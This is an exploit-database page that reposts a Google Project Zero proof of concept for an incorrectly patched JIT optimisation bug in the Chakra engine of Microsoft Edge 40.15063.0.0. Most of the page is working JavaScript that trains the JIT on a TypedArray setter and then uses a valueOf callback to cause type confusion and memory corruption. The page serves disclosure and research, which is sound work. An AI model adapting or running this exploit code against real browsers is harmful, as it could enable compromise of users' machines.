Lucene search

K
zdtGoogle Security Research1337DAY-ID-28301
HistoryAug 18, 2017 - 12:00 a.m.

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3 Exploit

2017-08-1800:00:00
Google Security Research
0day.today
20

0.953 High

EPSS

Percentile

99.2%

Exploit for windows platform in category dos / poc

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316
 
Coincidentally, Microsoft released the patch for the  issue 1290  the day after I reported it. But it seems they fixed it incorrectly again.
 
This time, "func(a, b, i);" is replaced with "func(a, b, {});".
 
PoC:
-->
 
'use strict';
 
function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}
 
function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);
 
    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED
 
    func(a, b, {valueOf: () => {
        a[0] = {};
 
        return 0;
    }});
 
    a[0].toString();
}
 
main();
 
// Tested on Microsoft Edge 40.15063.0.0(Insider Preview).

#  0day.today [2018-01-02]  #